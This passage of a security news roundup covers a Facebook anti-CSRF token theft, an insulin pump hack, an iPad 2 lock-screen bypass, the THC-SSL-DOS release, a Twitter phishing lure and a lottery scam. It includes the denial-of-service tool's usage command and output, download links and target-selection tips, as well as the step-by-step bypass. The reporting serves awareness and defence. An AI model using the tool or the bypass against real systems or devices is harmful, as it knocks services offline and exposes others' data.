In this case the attacker’s third party site receives this Anti-CSRF token when the user copy and pastes the JavaScript code and clicks Confirm. The attacker is now in a position to perform CSRF attacks.

Stage 3 – CSRF attack: Malicious links silently posted to the user’s wall

The picture below details the JavaScript code returned by the attacker upon clicking the Confirm button. This code executes a CSRF attack to post a malicious link on the user’s Facebook page using the CSRF token that was stolen in stage 2.



The thing to note here is that the “post_form_id” value is irrelevant for the success of this attack. In fact, the attacker decided to randomly generate a “post_form_id” value in the code above.

Comparison to self-XSS copy and paste attacks

This attack technique is similar in nature to the Self XSS copy and paste attacks that we saw on the Facebook platform this summer.



In the previous Self-XSS attacks, the attacker managed to trick the user into copying and pasting malicious JavaScript code into the user’s browser. The malicious JavaScript code ran in the same origin context as Facebook.com , and so it was able to extract token values such as the fb_dtsg by parsing the DOM.  These extracted token values were later used to post malicious spam messages to the user and the user’s friends.



However, in this latest attack, instead of tricking the victim to execute JavaScript code whilst accessing their Facebook account, the attacker is tricking the victim into sending his or her Anti-CSRF token to the attacker. With the Anti-CSRF token in hand, the attacker then executes a CSRF attack to propagate scam messages.

Conclusion

Although by and large we haven’t seen attackers propagate malicious browser exploits and drive-by-downloads using these spam campaigns, we conjecture that attackers might naturally gravitate towards this in the near future. Furthermore, attackers are using some really innovative social engineering techniques to trick their victims. We advise users to keep their security software up-to-date and not click on any links that seem suspicious.

It's worth noting that we’ve reached out to Facebook and they inform us that they've had great cooperation from browser vendors to fix these issues and will continue to work with them on these issues. They also stated that they try to prevent this behavior by automated monitoring of accounts for suspicious behavior.

Read More...

Blind Attack On Wireless Insulin Pumps Could Deliver Lethal Dose

Barnaby Jack, famous for getting ATMs to disgorge an avalanche of cash on stage at the Black Hat Briefings, says he has developed an attack that could be used to deliver a lethal dose of insulin to diabetics using the embedded pumps.

Jack, a security researcher at McAfee, demonstrated the hack at the Hacker Halted security conference in Miami on Tuesday. In it, he used a modified antenna and software to wirelessly attack and take control of implantable insulin pumps from the firm Medtronic. Jack demonstrated how such a pump could be commanded to release a fatal dose of insulin to a diabetic who relied on the pump.

The presentation builds on a similar hack, demonstrated at this year's DEFCON hacking conference in which researcher Jerome Radcliffe -- diagnosed with Diabetes 11 years ago -- demonstrated how he could tweak the dosage levels on his pump remotely. Radcliffe's hack required the attacker to know the unique numeric device number of the implantable pump she was attacking. Barnaby's hack improves on that method, allowing an attacker to compromise any vulnerable device within 300 feet even without knowing its unique device ID.

The August hack at DEFCON prompted a response from federal lawmakers. Two senior members of the House Energy & Commerce Committee called for the Government Accountability Office (GAO) to perform a formal review of wireless medical devices like the pump to determine whether devices that are on the market are "safe, reliable and secure. "

Alas, the consensus among security researchers is that they are not. Jack points out that the Medtronic devices do not use encryption to protect wireless communications between the implanted device and the management software. That means that anyone listening on the proper frequency can intercept those communications and even manipulate the device remotely: tweaking the amount of insulin delivered by the pump, disabling it or restarting it.

In an exclusive interview with Threatpost in August, Kevin Fu, an Associate Professor of Computer Science at the University of Massachusetts, said that software vulnerabilities, including those that may be remotely exploitable, are increasingly common as implanted medical devices use wireless technology for management and diagnostic purposes. Along with Prof. Dina Katabi of MIT, Fu is looking into methods for jamming implantable medical devices (IMDs) to prevent them from being wirelessly tampered with.

Jack is a well respected security researcher with a flair for the dramatic. He famously induced an automated teller machine to spit out a cascade of cash at the Black Hat Briefings in 2010 to demonstrate weaknesses in the software that secures cash machines.
In the case of the insulin pump, however, the potential downside is not economic, but existential.
Medtronic, which manufactures the pump attacked by Jack, said at the time of the BlackHat presentation that it takes the security of its devices seriously and will develop more security features as "technology evolves." However, the company, maintains that the risk of deliberate or malicious manipulation of insulin pumps is extremely low. "To our knowledge, there has never been a single reported incident of a deliberate attack on an insulin pump user in more than 25 years of insulin pump use," the company said. Read More...

5 SECONDS to bypass an iPad 2 password [video]

Video The password protection of an iPad 2 running iOS 5 can be circumvented in less than five seconds with just three simple steps.

Bypassing the unlock screen on iPad 2 can be accomplished by first pressing the power button until the power-off screen is displayed. Users then need only to close and reopen the fondleslab's 'smart cover' before, finally, pressing the cancel button to unlock the device.

After dodging the password protection, you can access the foreground application running at the time the device was locked, potentially exposing corporate email in the process. You can't use the home button, so access is limited to foreground applications. As enterprise IT blog BringYourOwnIT.com notes, one obvious workaround would be to instruct users to close any foreground application before locking their iPad.

Below is a video posted by BringYourOwnIT.com illustrating the easy unlock process.

The security weakness comes days after it emerged that locked iPhone 4S could be accessed using Siri, the voice-activated personal assistant built into the device.
There's an easy way for security-conscious users to disable Siri when their phone is locked but this option isn't applied by default, net security firm Sophos Read More...

THC SSL DoS/DDoS Tool Released For Download

THC-SSL-DOS is a tool to verify the performance of SSL. Establishing a secure SSL connection requires 15x more processing power on the server than on the client. THC-SSL-DOS exploits this asymmetric property by overloading the server and knocking it off the Internet. This problem affects all SSL implementations today. The vendors are aware of this problem since 2003 and the topic has been widely discussed.

This attack further exploits the SSL secure Renegotiation feature to trigger thousands of renegotiations via single TCP connection.

Usage

./thc-ssl-dos 127.3.133.7 443
Handshakes 0 [0.00 h/s], 0 Conn, 0 Err
Secure Renegotiation support: yes
Handshakes 0 [0.00 h/s], 97 Conn, 0 Err
Handshakes 68 [67.39 h/s], 97 Conn, 0 Err
Handshakes 148 [79.91 h/s], 97 Conn, 0 Err
Handshakes 228 [80.32 h/s], 100 Conn, 0 Err
Handshakes 308 [80.62 h/s], 100 Conn, 0 Err
Handshakes 390 [81.10 h/s], 100 Conn, 0 Err
Handshakes 470 [80.24 h/s], 100 Conn, 0 Err

Comparing flood DDoS vs. SSL-Exhaustion attack

A traditional flood DDoS attack cannot be mounted from a single DSL connection. This is because the bandwidth of a server is far superior to the bandwidth of a DSL connection: A DSL connection is not an equal opponent to challenge the bandwidth of a server.

This is turned upside down for THC-SSL-DOS: The processing capacity for SSL handshakes is far superior at the client side: A laptop on a DSL connection can challenge a server on a 30Gbit link. Traditional DDoS attacks based on flooding are sub optimal: Servers are prepared to handle large amount of traffic and clients are constantly sending requests to the server even when not under attack.

The SSL-handshake is only done at the beginning of a secure session and only if security is required. Servers are _not_ prepared to handle large amount of SSL Handshakes. The worst attack scenario is an SSL-Exhaustion attack mounted from thousands of clients (SSL-DDoS).

Tips & Tricks for Whitehats

1. The average server can do 300 handshakes per second. This would require 10-25% of your laptops CPU.
2. Use multiple hosts (SSL-DOS) if an SSL Accelerator is used.
3. Be smart in target acquisition: The HTTPS Port (443) is not always the best choice. Other SSL enabled ports are more unlikely to use an SSL Accelerator (like the POP3S, SMTPS, … or the secure database port).

Counter measurements
No real solutions exists. The following steps can mitigate (but not solve) the problem:

1. Disable SSL-Renegotiation
2. Invest into SSL Accelerator

Either of these countermeasures can be circumventing by modifying THC-SSL-DOS. A better solution is desireable. Somebody should fix this.

You can download THC-SSL-DOS here:

Windows: thc-ssl-dos-1.4-win-bin.zip

Linux: thc-ssl-dos-1.4.tar.gz

Or read more here. Read More...

So I Googled your name and found.. a Twitter phishing attack! [video]

Sometimes they claim to have found a funny picture of you, say that you look like you've lost weight, or that there's a horrible blog going around about you.

Whatever the nature of the disguise used by phishing attacks on Twitter, the modus operandi is always the same. Scammers will send you a message, possibly from the compromised account of one of your Twitter followers, and use a social engineering lure to trick you into clicking on the link.

And that link will, inevitably, lead to a fake Twitter login page - designed to grab your username and password which can then be used to send out more spam, or to break into your other online accounts.

Here's the latest attack, which arrives in the form of a Direct Message (DM) from one of your Twitter pals, claiming that they have searched for you on Google and found some "really funny stuff" about you.

so i googled your name and found some really funny stuff about you lol its archived here [LINK]

Would you click on the link? Well, if you were tempted to do so your web browser would end up on a fake Twitter page just waiting for you to enter your username and password.



And if you do enter your details, you've been phished. Ouch.
Hopefully, you're not one of the many people who use the same password on multiple websites - otherwise cybercriminals might not just be able to send spam from your Twitter account, they may also have just been handed the skeleton keys for other parts of your online existence.

That could mean that scammers can now steal your personal information for financial gain.



If you found your Twitter account was one of those sending out the phishing messages, you shouldn't just change your password and consider if you are using the same password elsewhere. It's also a sensible time to look again at how you choose your passwords.

For instance, it's important that you don't use a word from the dictionary as your password. It's easy to understand why computer users pick dictionary words as they're much easier to remember, but as I explain in this video a good trick is to pick a sentence and just use the first letter of every word to make up your password.

(Enjoy this video? You can check out more on the SophosLabs YouTube channel and subscribe if you like)

Password security is becoming more important than ever. Make sure that you're taking the issue seriously, or suffer the consequences.

There's some other house-cleaning you should do on your Twitter account too. Visit the Applications tab in "Account Settings", and revoke access for any third-party application that you don't recognise.

Follow me on Twitter if you want to keep up-to-speed with the latest threats, and learn how to protect yourself.

Read More...

Beware Facebook lottery email scams!

Congratulations! You've won the Facebook lottery!
At least, that's what the following email claims.



The email says that you can turn up in person at an address in London to claim your prize, but you will have to confirm your identity and eligibility.

If you don't want to visit London, then you can choose to pay a mere £385 to have the necessary paperwork couriered to you.

for your convenience, we can have your Facebook Claim Paper Work sent to you via our contracted Courier Service for signing and then send back to us to effect immediate release of your Winning. But note that you are to bear courier charges of this option which attracts the sum of £385 British Pound, only to be paid if you decide to settle for the Facebook Claim Paper Work to be sent to you via our contracted Courier Service. Please note that the £385 British Pound courier charges includes insurance and tax fees, as the paper work in question is highly confidential and needs to be insured for safety measures.

Hmm.. So, you've won a lottery but the company awarding you the prize won't stretch to having something couriered to you? Never mind! It's sure to be covered by your prize winnings, right?



Although the phone number given in the email looks, to the casual observer, to go to a UK mobile phone it actually could be redirected anywhere in the world. The 0770 number is registered with British firm Cloud9, which offers international mobile services.

In short, you think you're phoning Facebook in London - but the phone could be being picked up by Fabian in Nairobi.

If you do call that number, chances are that you will be asked to share personal information and perhaps even conned into paying a fee in advance for the paperwork to be couriered to you.

In short, it's a scam. You never entered a Facebook lottery - so why do you think you've won one? Remember - you cannot win a lottery you haven't entered.

Lottery scams are not new, but they continue to occur because there are plenty of vulnerable people at risk of handing over their personal information or giving money to scammers in advance of their promised winnings.

Read More...